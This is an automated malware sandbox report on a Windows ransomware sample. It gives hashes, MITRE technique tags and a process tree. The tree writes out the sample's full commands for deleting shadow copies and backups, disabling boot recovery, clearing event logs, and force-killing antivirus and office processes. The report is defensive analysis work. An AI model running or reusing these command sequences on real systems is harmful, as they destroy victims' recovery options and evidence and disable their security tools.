d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d

Analysis

max time kernel
150s
max time network
6s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
12/08/2026, 12:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe
Size 2.6MB
Sample260812-pg53vsce49
SHA256 d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d
MD5 193964c937493b979b1e9649a83ff000
SHA1 d85a46b51b7cf9fe24783508e0739ccee3cf5874
SHA512 1bfaaade0c7615debfa45fd0f7442f217361c51f4db19e643b967479671bd9ba8713b5cd30f273d687b648eee1c53a7b3636839b10f510027a5519f499edbf67
SSDEEP 49152:yxu/Zqw0/3igJg2S/YubUhbFGpcSr9fXa4kQ67n1q1r8:yxQZT0K6g2S/YuPPKa
TLSH
T125C53A51FED780F1E903193054A7A2BF2B347E094F35DA87EA507F6AE8739E10932259
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution ransomware

Malware Config

Signatures

Clears Windows event logs 1 TTPs 3 IoCs

defense_evasion ransomware

Clear Windows Event Logs

T1070.001

pid	Process
996	wevtutil.exe
4956	wevtutil.exe
4804	wevtutil.exe

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4544	cmd.exe
4144	cmd.exe
2392	cmd.exe
5304	cmd.exe
5048	cmd.exe
3800	cmd.exe
4464	cmd.exe
2892	cmd.exe
4820	cmd.exe
2304	cmd.exe
3264	cmd.exe
4588	cmd.exe
1656	cmd.exe
1008	cmd.exe
5232	cmd.exe
4480	cmd.exe
2952	cmd.exe
5568	cmd.exe
1404	cmd.exe
3180	cmd.exe
5092	cmd.exe
1780	cmd.exe
4084	cmd.exe
4152	cmd.exe
260	cmd.exe
4740	cmd.exe
5820	cmd.exe
908	cmd.exe
3212	cmd.exe
5596	cmd.exe
1976	cmd.exe
596	cmd.exe
2356	cmd.exe
5420	cmd.exe
1740	cmd.exe
2196	cmd.exe
5576	cmd.exe
3408	cmd.exe
6124	cmd.exe
4332	cmd.exe
296	cmd.exe
1672	cmd.exe
1996	cmd.exe
3288	cmd.exe
5976	cmd.exe
2780	cmd.exe
5812	cmd.exe
1432	cmd.exe
4532	cmd.exe
4556	cmd.exe
4808	cmd.exe
5984	cmd.exe
5380	cmd.exe
5220	cmd.exe
908	cmd.exe
3060	cmd.exe
1152	cmd.exe
1000	cmd.exe
2160	cmd.exe
4812	cmd.exe
3956	cmd.exe
5944	cmd.exe
4256	cmd.exe
3464	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wevtutil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Kills process with taskkill 28 IoCs

defense_evasion

pid	Process
3348	taskkill.exe
596	taskkill.exe
5904	taskkill.exe
3388	taskkill.exe
2728	taskkill.exe
2132	taskkill.exe
3356	taskkill.exe
2444	taskkill.exe
4484	taskkill.exe
5488	taskkill.exe
3308	taskkill.exe
2880	taskkill.exe
3836	taskkill.exe
4396	taskkill.exe
3256	taskkill.exe
2660	taskkill.exe
3216	taskkill.exe
1460	taskkill.exe
4696	taskkill.exe
3176	taskkill.exe
5336	taskkill.exe
4784	taskkill.exe
3092	taskkill.exe
2344	taskkill.exe
1012	taskkill.exe
3084	taskkill.exe
792	taskkill.exe
4924	taskkill.exe

Runs net.exe

Suspicious use of AdjustPrivilegeToken 34 IoCs

description	pid	Process
Token: SeSecurityPrivilege	996	wevtutil.exe
Token: SeBackupPrivilege	996	wevtutil.exe
Token: SeSecurityPrivilege	4956	wevtutil.exe
Token: SeBackupPrivilege	4956	wevtutil.exe
Token: SeDebugPrivilege	792	taskkill.exe
Token: SeDebugPrivilege	4396	taskkill.exe
Token: SeDebugPrivilege	3836	taskkill.exe
Token: SeDebugPrivilege	3356	taskkill.exe
Token: SeDebugPrivilege	3256	taskkill.exe
Token: SeDebugPrivilege	4696	taskkill.exe
Token: SeDebugPrivilege	3176	taskkill.exe
Token: SeDebugPrivilege	3348	taskkill.exe
Token: SeDebugPrivilege	4924	taskkill.exe
Token: SeDebugPrivilege	5336	taskkill.exe
Token: SeDebugPrivilege	4784	taskkill.exe
Token: SeDebugPrivilege	596	taskkill.exe
Token: SeDebugPrivilege	3092	taskkill.exe
Token: SeDebugPrivilege	5904	taskkill.exe
Token: SeDebugPrivilege	3388	taskkill.exe
Token: SeDebugPrivilege	2728	taskkill.exe
Token: SeDebugPrivilege	2344	taskkill.exe
Token: SeDebugPrivilege	2444	taskkill.exe
Token: SeDebugPrivilege	2132	taskkill.exe
Token: SeDebugPrivilege	4484	taskkill.exe
Token: SeDebugPrivilege	5488	taskkill.exe
Token: SeDebugPrivilege	2660	taskkill.exe
Token: SeDebugPrivilege	3216	taskkill.exe
Token: SeDebugPrivilege	1012	taskkill.exe
Token: SeDebugPrivilege	3308	taskkill.exe
Token: SeSecurityPrivilege	4804	wevtutil.exe
Token: SeBackupPrivilege	4804	wevtutil.exe
Token: SeDebugPrivilege	1460	taskkill.exe
Token: SeDebugPrivilege	2880	taskkill.exe
Token: SeDebugPrivilege	3084	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 580 wrote to memory of 3264	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	90
PID 580 wrote to memory of 5092	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	93
PID 580 wrote to memory of 2560	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	95
PID 580 wrote to memory of 4808	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	94
PID 580 wrote to memory of 2160	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	92
PID 580 wrote to memory of 2392	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	96
PID 580 wrote to memory of 4144	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	91
PID 580 wrote to memory of 4588	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	181
PID 580 wrote to memory of 3408	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	182
PID 580 wrote to memory of 5304	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	100
PID 580 wrote to memory of 3288	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	99
PID 580 wrote to memory of 5048	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	101
PID 580 wrote to memory of 1304	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	102
PID 580 wrote to memory of 5984	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	186
PID 580 wrote to memory of 1656	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	104
PID 580 wrote to memory of 3384	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	105
PID 580 wrote to memory of 5420	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	106
PID 580 wrote to memory of 3800	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	187
PID 580 wrote to memory of 1740	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	108
PID 580 wrote to memory of 5648	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	189
PID 580 wrote to memory of 3192	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	110
PID 1740 wrote to memory of 996	1740	cmd.exe	194
PID 580 wrote to memory of 4480	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	112
PID 580 wrote to memory of 908	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	193
PID 580 wrote to memory of 4812	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	114
PID 4812 wrote to memory of 4956	4812	cmd.exe	196
PID 580 wrote to memory of 2952	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	115
PID 580 wrote to memory of 2196	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	198
PID 580 wrote to memory of 5380	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	118
PID 580 wrote to memory of 5976	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	119
PID 580 wrote to memory of 5440	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	120
PID 5976 wrote to memory of 792	5976	cmd.exe	121
PID 5440 wrote to memory of 3836	5440	cmd.exe	122
PID 580 wrote to memory of 3212	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	123
PID 580 wrote to memory of 2780	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	124
PID 2780 wrote to memory of 3356	2780	cmd.exe	125
PID 3212 wrote to memory of 4396	3212	cmd.exe	247
PID 580 wrote to memory of 4464	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	127
PID 4464 wrote to memory of 4696	4464	cmd.exe	128
PID 580 wrote to memory of 5812	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	129
PID 580 wrote to memory of 296	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	130
PID 5812 wrote to memory of 3256	5812	cmd.exe	131
PID 296 wrote to memory of 3176	296	cmd.exe	133
PID 580 wrote to memory of 5820	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	132
PID 580 wrote to memory of 5568	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	136
PID 580 wrote to memory of 4544	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	134
PID 5820 wrote to memory of 4924	5820	cmd.exe	137
PID 5568 wrote to memory of 5336	5568	cmd.exe	138
PID 580 wrote to memory of 1404	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	139
PID 4544 wrote to memory of 3348	4544	cmd.exe	140
PID 1404 wrote to memory of 4784	1404	cmd.exe	224
PID 580 wrote to memory of 1672	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	142
PID 1672 wrote to memory of 596	1672	cmd.exe	217
PID 580 wrote to memory of 1388	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	144
PID 1388 wrote to memory of 3092	1388	cmd.exe	145
PID 580 wrote to memory of 2892	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	146
PID 580 wrote to memory of 5192	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	147
PID 2892 wrote to memory of 5904	2892	cmd.exe	149
PID 580 wrote to memory of 5596	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	148
PID 5192 wrote to memory of 3388	5192	cmd.exe	150
PID 5596 wrote to memory of 2728	5596	cmd.exe	151
PID 580 wrote to memory of 1780	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	152
PID 580 wrote to memory of 3956	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	153
PID 580 wrote to memory of 1996	580	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	154

C:\Users\Admin\AppData\Local\Temp\d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe
"C:\Users\Admin\AppData\Local\Temp\d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:580
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=N: /on=C: /maxsize=401MB"
  2⤵
  - Executes a command shell one-liner
  PID:3264
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=H: /on=C: /maxsize=401MB"
  2⤵
  - Executes a command shell one-liner
  PID:4144
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=O: /on=C: /maxsize=401MB"
  2⤵
  - Executes a command shell one-liner
  PID:2160
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=M: /on=C: /maxsize=401MB"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:5092
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=L: /on=C: /maxsize=401MB"
  2⤵
  - Executes a command shell one-liner
  PID:4808
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=J: /on=C: /maxsize=401MB"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2560
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=Z: /on=C: /maxsize=401MB"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:2392
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=O: /on=C: /maxsize=401MB"
  2⤵
  - Executes a command shell one-liner
  PID:4588
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=I: /on=C: /maxsize=401MB"
  2⤵
  PID:3408
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=K: /on=C: /maxsize=401MB"
  2⤵
  - Executes a command shell one-liner
  PID:3288
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=R: /on=C: /maxsize=401MB"
  2⤵
  - Executes a command shell one-liner
  PID:5304
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=Q: /on=C: /maxsize=401MB"
  2⤵
  - Executes a command shell one-liner
  PID:5048
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=S: /on=C: /maxsize=401MB"
  2⤵
  PID:1304
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=V: /on=C: /maxsize=401MB"
  2⤵
  - Executes a command shell one-liner
  PID:5984
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=X: /on=C: /maxsize=401MB"
  2⤵
  - Executes a command shell one-liner
  PID:1656
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=Y: /on=C: /maxsize=401MB"
  2⤵
  PID:3384
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "wbadmin DELETE SYSTEMSTATEBACKUP"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:5420
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin delete shadows /all /quiet"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:3800
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "wevtutil cl application"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1740
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil cl application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:996
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "wbadmin delete catalog -quiet"
  2⤵
  PID:5648
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest"
  2⤵
  PID:3192
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "bcdedit /set {default} recoveryenabled No"
  2⤵
  - Executes a command shell one-liner
  PID:4480
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=C: /on=C: /maxsize=401MB"
  2⤵
  - Executes a command shell one-liner
  PID:908
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "wevtutil cl system"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4812
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil cl system
    3⤵
    - Clears Windows event logs
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4956
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=B: /on=C: /maxsize=401MB"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:2952
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=D: /on=C: /maxsize=401MB"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:2196
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=G: /on=C: /maxsize=401MB"
  2⤵
  - Executes a command shell one-liner
  PID:5380
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im Synctime.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5976
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Synctime.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:792
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im calc.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5440
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im calc.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3836
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im notepad.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3212
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im notepad.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4396
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im powerpnt.exe"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2780
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im powerpnt.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3356
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im iVPAgent.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4464
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im iVPAgent.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4696
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im tmwscsvc.exe"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5812
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im tmwscsvc.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3256
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im ResponseService.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:296
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im ResponseService.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3176
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im PccNTMon.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5820
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im PccNTMon.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4924
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im vastsvc.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4544
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im vastsvc.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3348
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im SupportConnector.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5568
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SupportConnector.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5336
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im avgsvc.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1404
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im avgsvc.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4784
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im NortonSecurity.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1672
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im NortonSecurity.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:596
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im McAfeeFramework.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1388
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im McAfeeFramework.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3092
- C:\Windows\SysWOW64\cmd.exe
